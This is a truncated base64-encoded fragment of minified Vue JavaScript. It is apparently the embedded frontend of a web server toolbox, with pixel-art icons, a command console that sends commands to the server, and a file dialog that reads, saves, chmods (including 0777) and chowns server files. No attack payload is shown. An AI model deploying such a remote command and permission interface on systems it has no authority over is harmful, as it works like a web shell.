DR6bTE2IDBIOHYyaDEyeiJ9LG51bGwsLTEpLHFjPVtZY107ZnVuY3Rpb24gWGMoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsSmMsWy4uLnFjXSl9Y29uc3QgWmM9e25hbWU6InBpeGVsYXJ0aWNvbnMtbGlzdCIscmVuZGVyOlhjfSxRYz17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LGVhPWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik0xMSAxMWgyVjdoMnYyaDJWN2gtMlY1aC0yVjNoLTJ2Mkg5djJIN3YyaDJWN2gyem0wIDJoMnY0aDJ2MmgtMnYyaC0ydi0ySDl2LTJoMnptLTIgNHYtMkg3djJ6bTYgMHYtMmgydjJ6In0sbnVsbCwtMSksdGE9W2VhXTtmdW5jdGlvbiBuYShlLHQpe3JldHVybiBTKCksaygic3ZnIixRYyxbLi4udGFdKX1jb25zdCBLbz17bmFtZToicGl4ZWxhcnRpY29ucy1hcnJvd3MtdmVydGljYWwiLHJlbmRlcjpuYX0sc2E9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSxyYT1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNNyAxNkg1di0yaDJ2LTJoMnYtMmgyVjhoMnYyaDJ2MmgydjJoMnYyaC0ydi0yaC0ydi0yaC0ydi0yaC0ydjJIOXYySDd6In0sbnVsbCwtMSksb2E9W3JhXTtmdW5jdGlvbiBpYShlLHQpe3JldHVybiBTKCksaygic3ZnIixzYSxbLi4ub2FdKX1jb25zdCB6bz17bmFtZToicGl4ZWxhcnRpY29ucy1jaGV2cm9uLXVwIixyZW5kZXI6aWF9LGxhPXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sY2E9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTE3IDNoLTJ2MmgtMnYyaC0yVjVIOVYzSDd2MmgydjJoMnYyaDJWN2gyVjVoMnpNNCAxM2gxNnYtMkg0em05IDRoLTJ2LTJoMnptMiAyaC0ydi0yaDJ6bTAgMGgydjJoLTJ6bS02IDBoMnYtMkg5em0wIDBIN3YyaDJ6In0sbnVsbCwtMSksYWE9W2NhXTtmdW5jdGlvbiB1YShlLHQpe3JldHVybiBTKCksaygic3ZnIixsYSxbLi4uYWFdKX1jb25zdCBXbz17bmFtZToicGl4ZWxhcnRpY29ucy1jb2xsYXBzZSIscmVuZGVyOnVhfSxubj0oZSx0KT0+e2NvbnN0IG49ZS5fX3ZjY09wdHN8fGU7Zm9yKGNvbnN0W3Msb11vZiB0KW5bc109bztyZXR1cm4gbn0sZmE9e25hbWU6IkNvbnNvbGVCb3giLGNvbXBvbmVudHM6e30scHJvcHM6e2RpcmVjdG9yeTpTdHJpbmcscGFuZWxfbW9kZTpTdHJpbmd9LGRhdGE6ZnVuY3Rpb24oKXtyZXR1cm57aGlzdG9yeUluZGV4Oi0xLGZvY3VzZWQ6ITEsZXhwYW5kZWQ6ITEsc2VsZWN0aW9uU3RhcnQ6MCxzZWxlY3Rpb25FbmQ6MCxjbG9zZWQ6ITEsY21kOiIifX0sbW91bnRlZCgpe2NvbnNvbGUubG9nKCJtb3VudGVkIil9LHdhdGNoOntwYW5lbF9tb2RlOmZ1bmN0aW9uKCl7dGhpcy5wYW5lbF9tb2RlPT09ImNvbnNvbGUiJiZ0aGlzLiRyZWZzLmlucHV0LmZvY3VzKCl9LGNvbW1hbmRzOmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUb0xhc3QoKX0saGlzdG9yeTpmdW5jdGlvbigpe3RoaXMuaGlzdG9yeUluZGV4PXRoaXMuaGlzdG9yeS5sZW5ndGgtMX19LGNvbXB1dGVkOnt3b3JraW5nOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHN0b3JlLnN0YXRlLlVJLmxvYWRpbmd9LGhpc3Rvcnk6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuQ29uc29sZS5oaXN0b3J5fSxjb21tYW5kczpmdW5jdGlvbigpe3JldHVybiB0aGlzLiRzdG9yZS5zdGF0ZS5Db25zb2xlLmNvbW1hbmRzfSxjbWRSZWFkeTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNtZC5zbGljZSgwLHRoaXMuc2VsZWN0aW9uU3RhcnQpKyc8ZGl2IGNsYXNzPSJibGluayI+Jyt0aGlzLmNtZC5zbGljZSh0aGlzLnNlbGVjdGlvblN0YXJ0LHRoaXMuc2VsZWN0aW9uRW5kKSsiPC9kaXY+Iit0aGlzLmNtZC5zbGljZSh0aGlzLnNlbGVjdGlvbkVuZCl9fSxtZXRob2RzOntrZXlIYW5kbGVyOmZ1bmN0aW9uKGUpe3N3aXRjaChlLmNvZGUpe2Nhc2UiQXJyb3dVcCI6dGhpcy5wcmV2Q29tbWFuZCgpO2JyZWFrO2Nhc2UiQXJyb3dEb3duIjp0aGlzLm5leHRDb21tYW5kKCk7YnJlYWt9dGhpcy51cGRhdGVTZWxlY3Rpb24oKX0scHJldkNvbW1hbmQ6ZnVuY3Rpb24oKXt0aGlzLmhpc3RvcnlJbmRleDwwJiYodGhpcy5oaXN0b3J5SW5kZXg9dGhpcy5oaXN0b3J5Lmxlbmd0aC0xKTtsZXQgZT10aGlzLmhpc3RvcnlbdGhpcy5oaXN0b3J5SW5kZXgtLV07ZSYmKHRoaXMuY21kPWUpLGNvbnNvbGUubG9nKCJwcmV2Iil9LG5leHRDb21tYW5kOmZ1bmN0aW9uKCl7KHRoaXMuaGlzdG9yeUluZGV4PDB8fHRoaXMuaGlzdG9yeUluZGV4PnRoaXMuaGlzdG9yeS5sZW5ndGgtMSkmJih0aGlzLmhpc3RvcnlJbmRleD10aGlzLmhpc3RvcnkubGVuZ3RoLTEpO2xldCBlPXRoaXMuaGlzdG9yeVt0aGlzLmhpc3RvcnlJbmRleCsrXTtlJiYodGhpcy5jbWQ9ZSksY29uc29sZS5sb2coIm5leHQiKX0sYWRkQ29tbWFuZDpmdW5jdGlvbigpe3RoaXMuJHN0b3JlLmRpc3BhdGNoKCJDb25zb2xlL2FkZENvbW1hbmQiLHtjb21tYW5kOnRoaXMuY21kLGRpcjp0aGlzLmRpcmVjdG9yeX0pLHRoaXMuc2Nyb2xsVG9MYXN0KCksdGhpcy5jbWQ9IiIsdGhpcy51cGRhdGVTZWxlY3Rpb24oKX0sc2Nyb2xsVG9MYXN0OmZ1bmN0aW9uKCl7bGV0IGU9dGhpcy4kcmVmcy5ib3hkaXY7ZS5zY3JvbGxUb3A9ZS5zY3JvbGxIZWlnaHR9LHVwZGF0ZVNlbGVjdGlvbjpmdW5jdGlvbigpe3RoaXMuc2VsZWN0aW9uU3RhcnQ9dGhpcy4kcmVmcy5pbnB1dC5zZWxlY3Rpb25TdGFydCx0aGlzLnNlbGVjdGlvbkVuZD10aGlzLiRyZWZzLmlucHV0LnNlbGVjdGlvbkVuZCxjb25zb2xlLmxvZygic2VsZWN0aW9uIil9fX0sZGE9e2tleTowLGNsYXNzOiJtYXRlcmlhbC1pY29ucyJ9LGhhPXtjbGFzczoicmVzIn07ZnVuY3Rpb24gX2EoZSx0LG4scyxvLHIpe2NvbnN0IGk9V28sbD16byxjPUtvO3JldHVybiBTKCksaygiZGl2IixudWxsLFtkKCJzcGFuIix7Y2xhc3M6eihbInN2Zy1idXR0b24iLHsic3ZnLWNsb3NlLWJ1dHRvbiI6ZS5leHBhbmRlZCYmIWUuY2xvc2VkLCJzdmctZXhwYW5kLWJ1dHRvbiI6IWUuZXhwYW5kZWQmJiFlLmNsb3NlZCwic3ZnLW9wZW4tYnV0dG9uIjplLmNsb3NlZH1dKX0sW2UuZXhwYW5kZWQmJiFlLmNsb3NlZD8oUygpLEJlKGkse2tleTowLG9uQ2xpY2s6dFswXXx8KHRbMF09Zj0+ZS5jbG9zZWQ9ITApfSx7ZGVmYXVsdDphZSgoKT0+W1AoIi0iKV0pLF86MX0pKTohZS5leHBhbmRlZCYmIWUuY2xvc2VkPyhTKCksQmUobCx7a2V5OjEsb25DbGljazp0WzFdfHwodFsxXT1mPT5lLmV4cGFuZGVkPSEwKX0se2RlZmF1bHQ6YWUoKCk9PltQKCJeIildKSxfOjF9KSk6KFMoKSxCZShjLHtrZXk6MixvbkNsaWNrOnRbMl18fCh0WzJdPWY9PntlLmNsb3NlZD0hMSxlLmV4cGFuZGVkPSExfSl9LHtkZWZhdWx0OmFlKCgpPT5bUCgiKyIpXSksXzoxfSkpXSwyKSxnZShkKCJkaXYiLHtvbkNsaWNrOnRbMTBdfHwodFsxMF09Zj0+ZS4kcmVmcy5pbnB1dC5mb2N1cygpKSxpZDoiY29uc29sZS1ib3giLHJlZjoiYm94ZGl2IixjbGFzczp6KHtleHBhbmRlZDplLmV4cGFuZGVkLGFjdGl2ZTplLmZvY3VzZWR9KX0sWyQoQm8se25hbWU6Imxpc3QiLHRhZzoicCIsb25FbnRlcjpyLnNjcm9sbFRvTGFzdCwiYWZ0ZXItZW50ZXIiOiJzY3JvbGxUb0xhc3QiLG9uQWZ0ZXJBcHBlYXI6ci5zY3JvbGxUb0xhc3Qsb25UcmFuc2l0aW9uZW5kOnIuc2Nyb2xsVG9MYXN0fSx7ZGVmYXVsdDphZSgoKT0+WyhTKCEwKSxrKG1lLG51bGwsZXQoci5jb21tYW5kcywoZixfKT0+KFMoKSxrKCJkaXYiLHtjbGFzczp6KHtsb2FkaW5nOmYubG9hZGluZyxlcnJvcjpmLmVycm9yfSksa2V5Ol8rZi5jbWR9LFtmLmVycm9yPyhTKCksaygiaSIsZGEsInJlcG9ydCIpKTokZSgiIiwhMCksZCgic3Ryb25nIixudWxsLCJbIitXKGYuZGlyKSsiXSMiLDEpLFAoIiDCoCIrVyhmLmNtZCkrIiAiLDEpLChTKCEwKSxrKG1lLG51bGwsZXQoZi5vdXRwdXQsKGcsdik9PihTKCksaygiZGl2IixoYSxXKGcpLDEpKSksMjU2KSldLDIpKSksMTI4KSldKSxfOjF9LDgsWyJvbkVudGVyIiwib25BZnRlckFwcGVhciIsIm9uVHJhbnNpdGlvbmVuZCJdKSxkKCJkaXYiLG51bGwsW2QoInN0cm9uZyIsbnVsbCwiWyIrVyhuLmRpcmVjdG9yeSkrIl0jIiwxKSxnZShkKCJpbnB1dCIseyJvblVwZGF0ZTptb2RlbFZhbHVlIjp0WzNdfHwodFszXT1mPT5lLmNtZD1mKSxvbkZvY3VzaW46dFs0XXx8KHRbNF09Zj0+KHIudXBkYXRlU2VsZWN0aW9uKCksZS5mb2N1c2VkPSEwKSksb25CbHVyOnRbNV18fCh0WzVdPWY9PmUuZm9jdXNlZD0hMSksdHlwZToidGV4dCIscmVmOiJpbnB1dCIsb25LZXlkb3duOnRbNl18fCh0WzZdPUVlKCgpPT57fSxbInN0b3AiXSkpLG9uS2V5dXA6dFs3XXx8KHRbN109KC4uLmYpPT5yLmtleUhhbmRsZXImJnIua2V5SGFuZGxlciguLi5mKSksb25LZXlwcmVzczpbdFs4XXx8KHRbOF09a2UoRWUoKC4uLmYpPT5yLmFkZENvbW1hbmQmJnIuYWRkQ29tbWFuZCguLi5mKSxbInN0b3AiXSksWyJlbnRlciJdKSksdFs5XXx8KHRbOV09a2UoZj0+ZS4kcmVmcy5pbnB1dC5ibHVyKCksWyJlc2MiXSkpXX0sbnVsbCw1NDQpLFtbamUsZS5jbWRdXSksUCgiIMKgIitXKGUuY21kLnNsaWNlKDAsZS5zZWxlY3Rpb25TdGFydCkpKyIgIiwxKSxkKCJkaXYiLHtjbGFzczp6KFsiYmxpbmsiLHthY3RpdmU6ZS5mb2N1c2VkfV0pfSxXKGUuc2VsZWN0aW9uU3RhcnQ9PT1lLnNlbGVjdGlvbkVuZD8iwqAiOmUuY21kLnNsaWNlKGUuc2VsZWN0aW9uU3RhcnQsZS5zZWxlY3Rpb25FbmQpKSwzKSxQKCIgIitXKGUuY21kLnNsaWNlKGUuc2VsZWN0aW9uRW5kKSksMSldKV0sMiksW1ttdCwhZS5jbG9zZWRdXSldKX1jb25zdCBKbz1ubihmYSxbWyJyZW5kZXIiLF9hXSxbIl9fc2NvcGVJZCIsImRhdGEtdi1iN2U3NGEwZCJdXSkscGE9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSxnYT1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNMTMgMWgtMnYySDl2Mkg3djJINXYySDN2MkgxdjJoMnYyaDJ2MmgydjJoMnYyaDJ2Mmgydi0yaDJ2LTJoMnYtMmgydi0yaDJ2LTJoMnYtMmgtMlY5aC0yVjdoLTJWNWgtMlYzaC0yem0wIDJ2MmgydjJoMnYyaDJ2MmgydjJoLTJ2MmgtMnYyaC0ydjJoLTJ2MmgtMnYtMkg5di0ySDd2LTJINXYtMkgzdi0yaDJWOWgyVjdoMlY1aDJWM3ptMCA0aC0ydjZoMnptMCA4aC0ydjJoMnoifSxudWxsLC0xKSxtYT1bZ2FdO2Z1bmN0aW9uIHZhKGUsdCl7cmV0dXJuIFMoKSxrKCJzdmciLHBhLFsuLi5tYV0pfWNvbnN0IHlhPXtuYW1lOiJwaXhlbGFydGljb25zLWFsZXJ0IixyZW5kZXI6dmF9LHdhPXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sYmE9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTMgM2gydjE4SDN6bTE2IDBINXYyaDE0djE0SDV2MmgxNlYzem0tOCA2aDJWN2gtMnptMiA4aC0ydi02aDJ6In0sbnVsbCwtMSksRWE9W2JhXTtmdW5jdGlvbiBTYShlLHQpe3JldHVybiBTKCksaygic3ZnIix3YSxbLi4uRWFdKX1jb25zdCBJYT17bmFtZToicGl4ZWxhcnRpY29ucy1pbmZvLWJveCIscmVuZGVyOlNhfSxDYT17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LGthPWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik0zIDNoMTZ2Mkg1djE0aDE0djJIM3ptMTggMGgtMnYxOGgyek0xMSAxNWgydjJoLTJ6bTItOGgtMnY2aDJ6In0sbnVsbCwtMSksT2E9W2thXTtmdW5jdGlvbiB4YShlLHQpe3JldHVybiBTKCksaygic3ZnIixDYSxbLi4uT2FdKX1jb25zdCBUYT17bmFtZToicGl4ZWxhcnRpY29ucy13YXJuaW5nLWJveCIscmVuZGVyOnhhfSxBYT17bmFtZToiTWVzc2FnZUJveCIsY29tcG9uZW50czp7fSxwcm9wczp7cGFuZWxfbW9kZTpTdHJpbmd9LGRhdGE6ZnVuY3Rpb24oKXtyZXR1cm57ZXhwYW5kZWQ6ITEsY2xvc2VkOiExfX0sd2F0Y2g6e30sY29tcHV0ZWQ6e3dvcmtpbmc6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuVUkubG9hZGluZ30sbWVzc2FnZXM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuVUkubWVzc2FnZXMucmV2ZXJzZSgpfX0sbWV0aG9kczp7d3NSZWNlaXZlZDpmdW5jdGlvbihlKXtlLnNlcnZpY2U9PT0idG9vbGJveCImJmUuYWN0aW9uPT09ImZ5aSImJnRoaXMuJHN0b3JlLmRpc3BhdGNoKCJVSS9hZGRNZXNzYWdlIixlLmRhdGEpfSxzY3JvbGxUb0xhc3Q6ZnVuY3Rpb24oKXtsZXQgZT10aGlzLiRyZWZzLmJveGRpdjtlLnNjcm9sbFRvcD1lLnNjcm9sbEhlaWdodH19fSxNYT17a2V5OjN9LExhPXtrZXk6NH0sRmE9WyJpbm5lckhUTUwiXTtmdW5jdGlvbiBEYShlLHQsbixzLG8scil7Y29uc3QgaT1XbyxsPXpvLGM9S28sZj1UYSxfPUlhLGc9eWE7cmV0dXJuIFMoKSxrKCJkaXYiLG51bGwsW2QoInNwYW4iLHtjbGFzczp6KFsic3ZnLWJ1dHRvbiIseyJzdmctY2xvc2UtYnV0dG9uIjplLmV4cGFuZGVkJiYhZS5jbG9zZWQsInN2Zy1leHBhbmQtYnV0dG9uIjohZS5leHBhbmRlZCYmIWUuY2xvc2VkLCJzdmctb3Blbi1idXR0b24iOmUuY2xvc2VkfV0pfSxbZS5leHBhbmRlZCYmIWUuY2xvc2VkPyhTKCksQmUoaSx7a2V5OjAsb25DbGljazp0WzBdfHwodFswXT12PT5lLmNsb3NlZD0hMCl9LHtkZWZhdWx0OmFlKCgpPT5bUCgiLSIpXSksXzoxfSkpOiFlLmV4cGFuZGVkJiYhZS5jbG9zZWQ/KFMoKSxCZShsLHtrZXk6MSxvbkNsaWNrOnRbMV18fCh0WzFdPXY9PmUuZXhwYW5kZWQ9ITApfSx7ZGVmYXVsdDphZSgoKT0+W1AoIl4iKV0pLF86MX0pKTooUygpLEJlKGMse2tleToyLG9uQ2xpY2s6dFsyXXx8KHRbMl09dj0+e2UuY2xvc2VkPSExLGUuZXhwYW5kZWQ9ITF9KX0se2RlZmF1bHQ6YWUoKCk9PltQKCIrIildKSxfOjF9KSldLDIpLGdlKGQoImRpdiIse2lkOiJtZXNzYWdlLWJveCIscmVmOiJib3hkaXYiLGNsYXNzOnooe2V4cGFuZGVkOmUuZXhwYW5kZWR9KX0sWyQoQm8se25hbWU6Imxpc3QiLHRhZzoiZGl2IixvbkVudGVyOnIuc2Nyb2xsVG9MYXN0fSx7ZGVmYXVsdDphZSgoKT0+WyhTKCEwKSxrKG1lLG51bGwsZXQoZS4kc3RvcmUuc3RhdGUuVUkubWVzc2FnZXMsKHYsVCk9PihTKCksaygicCIse2NsYXNzOnooe3dhcm46di50eXBlPT09Indhcm4iLGVycm9yOnYudHlwZT09PSJlcnJvciIsaW5mbzp2LnR5cGU9PT0iaW5mbyJ9KSxrZXk6VCt2LmNvZGUrdi50aW1lfSxbdi50eXBlPT09Indhcm4iPyhTKCksQmUoZix7a2V5OjB9KSk6JGUoIiIsITApLHYudHlwZT09PSJpbmZvIj8oUygpLEJlKF8se2tleToxfSkpOiRlKCIiLCEwKSx2LnR5cGU9PT0iZXJyb3IiPyhTKCksQmUoZyx7a2V5OjJ9KSk6JGUoIiIsITApLHYudHlwZSE9PSJpbmZvIj8oUygpLGsoInN0cm9uZyIsTWEsIlsiK1codi50aW1lKSsiLCAiK1codi5jb2RlKSsiXToiLDEpKTooUygpLGsoInN0cm9uZyIsTGEsIlsiK1codi50aW1lKSsiXToiLDEpKSxQKCksZCgic3BhbiIse2lubmVySFRNTDp2Lm1lc3NhZ2V9LG51bGwsOCxGYSldLDIpKSksMTI4KSldKSxfOjF9LDgsWyJvbkVudGVyIl0pXSwyKSxbW210LCFlLmNsb3NlZF1dKV0pfWNvbnN0IFlvPW5uKEFhLFtbInJlbmRlciIsRGFdLFsiX19zY29wZUlkIiwiZGF0YS12LThhNWE3OTgxIl1dKSxPZT17YXBpX3VybDp3aW5kb3cubG9jYXRpb24ucGF0aG5hbWV9LCRhPXtuYW1lOiJGaWxlU291cmNlRGlhbG9nIixkYXRhOmZ1bmN0aW9uKCl7cmV0dXJue2ZpbGVfY29udGVudDoiIix3b3JraW5nOjAsZmlsZTpPYmplY3QsaGlnaGxpZ2h0ZWRMaW5lczpbXX19LHByb3BzOntyZWZyZXNoTGlzdDpGdW5jdGlvbixoaWRlTWU6RnVuY3Rpb24sbmV4dEZpbGU6RnVuY3Rpb24scHJldkZpbGU6RnVuY3Rpb24sZmlsZVBhdGg6U3RyaW5nfSxtb3VudGVkOmZ1bmN0aW9uKCl7dGhpcy5nZXRGaWxlQ29udGVudFJhdygpfSx3YXRjaDp7ZmlsZVBhdGg6ZnVuY3Rpb24oKXt0aGlzLmdldEZpbGVDb250ZW50UmF3KCl9fSxtZXRob2RzOntzYXZlRmlsZTpmdW5jdGlvbigpe3RoaXMud29ya2luZysrO2NvbnN0IGU9T2UuYXBpX3VybCsiP3Rhc2s9ZmlsZS1zYXZlJmZpbGU9Iit0aGlzLmZpbGVQYXRoLHQ9e2NvbnRlbnQ6dGhpcy5maWxlX2NvbnRlbnR9O2ZldGNoKGUse21ldGhvZDoiUE9TVCIsYm9keTpKU09OLnN0cmluZ2lmeSh0KX0pLnRoZW4obj0+e2lmKCFuLm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIG4uanNvbigpfSkudGhlbihuPT57bi5yZXN1bHRfbWVzc2FnZSE9PSIiJiZhbGVydChuLnJlc3VsdF9jb2RlKyI6IituLnJlc3VsdF9tZXNzYWdlKSxuLnJlc3VsdF9jb2RlPT09MCYmKHRoaXMuZ2V0RmlsZUNvbnRlbnRSYXcoKSx0aGlzLnJlZnJlc2hMaXN0KCkpfSkuY2F0Y2gobj0+e2NvbnNvbGUuZXJyb3IoIlRoZXJlIGhhcyBiZWVuIGEgcHJvYmxlbSB3aXRoIHlvdXIgZmV0Y2ggb3BlcmF0aW9uOiIsbil9KS5maW5hbGx5KCgpPT57dGhpcy53b3JraW5nLS19KX0sY2hvd25GaWxlOmZ1bmN0aW9uKCl7dGhpcy53b3JraW5nKys7bGV0IGU9T2UuYXBpX3VybCsiP3Rhc2s9ZmlsZS1jaG93biZmaWxlPSIrdGhpcy5maWxlUGF0aDtmZXRjaChlKS50aGVuKHQ9PntpZighdC5vayl0aHJvdyBuZXcgRXJyb3IoIk5ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvayIpO3JldHVybiB0Lmpzb24oKX0pLnRoZW4odD0+e3QucmVzdWx0X21lc3NhZ2UhPT0iIiYmYWxlcnQodC5yZXN1bHRfY29kZSsiOiIrdC5yZXN1bHRfbWVzc2FnZSksdC5yZXN1bHRfY29kZT09PTAmJnRoaXMuZ2V0RmlsZUNvbnRlbnRSYXcoKX0pLmNhdGNoKHQ9Pntjb25zb2xlLmVycm9yKCJUaGVyZSBoYXMgYmVlbiBhIHByb2JsZW0gd2l0aCB5b3VyIGZldGNoIG9wZXJhdGlvbjoiLHQubWVzc2FnZSl9KS5maW5hbGx5KCgpPT57dGhpcy53b3JraW5nLS19KX0sY2htb2RGaWxlOmZ1bmN0aW9uKGUpe3RoaXMud29ya2luZysrO2xldCB0PU9lLmFwaV91cmwrIj90YXNrPWZpbGUtY2htb2QmbW9kZT0iK2UrIiZmaWxlPSIrdGhpcy5maWxlUGF0aDtmZXRjaCh0KS50aGVuKG49PntpZighbi5vayl0aHJvdyBuZXcgRXJyb3IoIk5ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvayIpO3JldHVybiBuLmpzb24oKX0pLnRoZW4obj0+e24ucmVzdWx0X21lc3NhZ2UhPT0iIiYmYWxlcnQobi5yZXN1bHRfY29kZSsiOiIrbi5yZXN1bHRfbWVzc2FnZSksbi5yZXN1bHRfY29kZT09PTAmJnRoaXMuZ2V0RmlsZUNvbnRlbnRSYXcoKX0pLmNhdGNoKG49Pntjb25zb2xlLmVycm9yKCJUaGVyZSBoYXMgYmVlbiBhIHByb2JsZW0gd2l0aCB5b3VyIGZldGNoIG9wZXJhdGlvbjogIixuLm1lc3NhZ2UpfSkuZmluYWxseSgoKT0+e3RoaXMud29ya2luZy0tfSl9LGdvdG9MaW5lOmZ1bmN0aW9uKGUpe2xldCB0PU1hdGguZmxvb3IodGhpcy4kcmVmcy5jb2RldGV4dGFyZWEuc2Nyb2xsSGVpZ2h0L3RoaXMuZmlsZS5jb250ZW50LnNwbGl0KGAKYCkubGVuZ3RoKTt0aGlzLiRyZWZzLmNvZGV0ZXh0YXJlYS5zY3JvbGxUb3A9KGUtMSkqdCx0aGlzLiRyZWZzLmNvZGV0ZXh0YXJlYS5zY3JvbGxUb3A9KGUtMSkqdH0sZ2V0RmlsZUNvbnRlbnRSYXc6ZnVuY3Rpb24oKXt0aGlzLndvcmtpbmcrKztsZXQgZT1PZS5hcGlfdXJsKyI/dGFzaz1maWxlLWNvbnRlbnQtcmF3JmZpbGU9Iit0aGlzLmZpbGVQYXRoO2ZldGNoKGUpLnRoZW4odD0+e2lmKCF0Lm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIHQuanNvbigpfSkudGhlbih0PT57aWYodC5yZXN1bHRfY29kZSE9PTApe3RoaXMuJHN0b3JlLmRpc3BhdGNoKCJVSS9hZGRFcnJvciIsdC5yZXN1bHRfbWVzc2FnZSx7cm9vdDohMH0pO3JldHVybn10aGlzLmZpbGU9dCx0aGlzLmZpbGVfY29udGVudD1hdG9iKHQuY29udGVudCksdGhpcy5oaWdobGlnaHRlZExpbmVzPVtdLHRoaXMuZmlsZS5mdW5jcyYmdGhpcy5maWxlLmZ1bmNzLmZvckVhY2gobj0+e3RoaXMuaGlnaGxpZ2h0ZWRMaW5lcz10aGlzLmhpZ2hsaWdodGVkTGluZXMuY29uY2F0KG4ubGluZXMpfSl9KS5jYXRjaCh0PT57dGhpcy4kc3RvcmUuZGlzcGF0Y2goIlVJL2FkZEVycm9yIix0Lm1lc3NhZ2Use3Jvb3Q6ITB9KX0pLmZpbmFsbHkoKCk9Pnt0aGlzLndvcmtpbmctLX0pfX19LEhuPWU9PihmbygiZGF0YS12LWFkZWNiMjBlIiksZT1lKCksaG8oKSxlKSxSYT17Y2xhc3M6ImZpbGVTb3VyY2UifSxOYT17aWQ6InNvbWUiLHJlZjoic29tZSJ9LFBhPXtjbGFzczoidGFicyJ9LFVhPXtjbGFzczoicGxhY2Vob2xkZXIgc3RvbmVkIn0sSGE9e2lkOiJ0aXRsZSJ9LFZhPXtrZXk6MCxjbGFzczoicmVkIix0aXRsZToiRmlsZSBoYXMgZnVsbCBwZXJtaXNzaW9ucyEifSxqYT17a2V5OjIsY2xhc3M6InJlZCIsdGl0bGU6IlJlYWRvbmx5In0sQmE9e2tleTozLGNsYXNzOiJncmVlbiIsdGl0bGU6IldyaXRhYmxlIn0sR2E9e2NsYXNzOiJwYW5lbCJ9LEthPXtrZXk6MCxjbGFzczoibGRzLWVsbGlwc2lzIn0semE9SG4oKCk9PmQoImRpdiIsbnVsbCxudWxsLC0xKSksV2E9SG4oKCk9PmQoImRpdiIsbnVsbCxudWxsLC0xKSksSmE9SG4oKCk9PmQoImRpdiIsbnVsbCxudWxsLC0xKSksWWE9SG4oKCk9PmQoImRpdiIsbnVsbCxudWxsLC0xKSkscWE9W3phLFdhLEphLFlhXSxYYT17Y2xhc3M6ImZ1bmNzIn0sWmE9WyJvbkNsaWNrIl07ZnVuY3Rpb24gUWEoZSx0LG4scyxvLHIpe3JldHVybiBTKCksaygibGkiLFJhLFtkKCJkaXYiLE5hLFtkKCJkaXYiLFBhLFtkKCJkaXYiLFVhLFtkKCJzcGFuIixIYSxbZCgic3BhbiIse2NsYXNzOnooZS5maWxlLnR5cGU9PT0ib2siPyJncmVlbiI6InJlZCIpfSwiWyIrVyhlLmZpbGUubWVzc2FnZT09PSIiP2UuZmlsZS50eXBlOmUuZmlsZS50eXBlKyI6ICIrZS5maWxlLm1lc3NhZ2UpKyJdIiwzKSxQKCIsICIpLGUuZmlsZS5wZXJtaXNzaW9ucyoxPT09Nzc3PyhTKCksaygic3BhbiIsVmEsVyhlLmZpbGUucGVybWlzc2lvbnMpLDEpKTooUygpLGsoInNwYW4iLHtrZXk6MSxjbGFzczp6KHtncmVlbjplLmZpbGUud3JpdGFibGUscmVkOiFlLmZpbGUud3JpdGFibGV9KX0sVyhlLmZpbGUucGVybWlzc2lvbnMpLDMpKSxlLmZpbGUud3JpdGFibGU/KFMoKSxrKCJzcGFuIixCYSwiVyIpKTooUygpLGsoInNwYW4iLGphLCJSIikpLFAoIiBzZXQ6IFsgIiksZCgiYSIse2hyZWY6IiMiLG9uQ2xpY2s6dFswXXx8KHRbMF09aT0+ci5jaG1vZEZpbGUoIjA2NDQiKSl9LCIwNjQ0IiksUCgiLCAiKSxkKCJhIix7aHJlZjoiIyIsb25DbGljazp0WzFdfHwodFsxXT1pPT5yLmNobW9kRmlsZSgiMDY2NiIpKX0sIjA2NjYiKSxQKCIsICIpLGQoImEiLHtvbkNsaWNrOnRbMl18fCh0WzJdPWk9PnIuY2htb2RGaWxlKCIwNzc3IikpLGhyZWY6IiMifSwiMDc3NyIpLFAoIiwgIiksZCgiYSIse29uQ2xpY2s6dFszXXx8KHRbM109aT0+ci5jaG1vZEZpbGUoIjA0NDQiKSksaHJlZjoiIyJ9LCIwNDQ0IiksUCgiXTogWyIpLGQoImEiLHtvbkNsaWNrOnRbNF18fCh0WzRdPSguLi5pKT0+ci5jaG93bkZpbGUmJnIuY2hvd25GaWxlKC4uLmkpKSxocmVmOiIjIn0sImNob3duIiksUCgiXSAiKV0pLGQoImRpdiIsR2EsW2QoImJ1dHRvbiIse29uQ2xpY2s6dFs1XXx8KHRbNV09aT0+bi5oaWRlTWUoKSl9LCJDYW5jZWwiKSxkKCJidXR0b24iLHtvbkNsaWNrOnRbNl18fCh0WzZdPSguLi5pKT0+ci5zYXZlRmlsZSYmci5zYXZlRmlsZSguLi5pKSl9LCJTYXZlIildKV0pXSksZCgiZGl2Iix7aWQ6Imxpc3Qtd3JhcCIsY2xhc3M6eih7ImRpc2FibGUtbWUiOmUud29ya2luZz4wfSl9LFtlLndvcmtpbmc+M